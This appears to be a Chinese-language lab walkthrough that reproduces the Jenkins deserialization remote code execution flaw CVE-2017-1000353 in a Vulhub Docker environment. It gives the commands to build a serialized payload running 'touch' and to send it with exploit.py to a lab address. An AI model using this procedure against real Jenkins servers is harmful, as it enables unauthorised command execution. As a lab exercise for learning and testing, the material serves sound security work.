Jenkins-CI 远程代码执行漏洞(CVE-2017-1000353)
Vulnhub官方复现教程
https://vulhub.org/#/environments/jenkins/CVE-2017-1000353/
漏洞原理
参考阅读 https://blogs.securiteam.com/index.php/archives/3171
复现过程
启动环境
https://blog.csdn.net/JiangBuLiu/article/details/93853056
进入路径为
cd /root/vulhub/jenkins/CVE-2017-1000353
搭建及运行漏洞环境:
docker-compose build && docker-compose up -d
用时:6分钟
环境启动后,访问http://your-ip:8080
即可看到jenkins已成功运行,无需手工安装。
漏洞复现
生成序列化字符串
参考https://github.com/vulhub/CVE-2017-1000353,首先下载CVE-2017-1000353-1.1-SNAPSHOT-all.jar,这是生成POC的工具。
执行下面命令,生成字节码文件:
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/CVE-2017-1000353_is_success"
执行上述代码后,生成jenkins_poc.ser文件,这就是序列化字符串。
发送数据包,执行命令
下载exploit.py
【注意】上面链接里的exploit代码需要将Proxies里面的内容注释掉
否则会报错ConnectionRefusedError: [Errno 111] Connection refused
教程提示要【python3】
执行(但是我用2也成功了,如果失败试试换成【python3】
)
python exploit.py http://192.168.236.138:8080 jenkins_poc.ser
将刚才生成的字节码文件发送给目标
检验
进入docker容器
docker-compose exec jenkins bash
发现/tmp/success
成功被创建,说明命令执行漏洞利用成功: